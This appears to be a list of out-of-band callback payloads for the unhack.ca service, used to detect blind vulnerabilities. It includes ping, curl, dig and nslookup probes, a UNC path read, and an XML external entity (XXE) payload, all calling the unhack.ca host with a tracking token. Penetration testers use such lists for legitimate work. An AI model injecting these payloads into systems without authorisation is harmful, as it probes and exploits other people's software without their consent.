$ ping -c1 -p 00adacb15961418b33a1fd4e07ca8d00 unhack.ca
 

$ curl http://unhack.ca/p/adacb15961418b33a1fd4e07ca8d
 

$ dig adacb15961418b33a1fd4e07ca8d @unhack.ca
 

$ dig adacb15961418b33a1fd4e07ca8d.ns.unhack.ca
 

C:\> nslookup adacb15961418b33a1fd4e07ca8d unhack.ca
 

C:\> type \\unhack.ca\adacb15961418b33a1fd4e07ca8d\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/adacb15961418b33a1fd4e07ca8d">]>
    <foo>&xxe;</foo>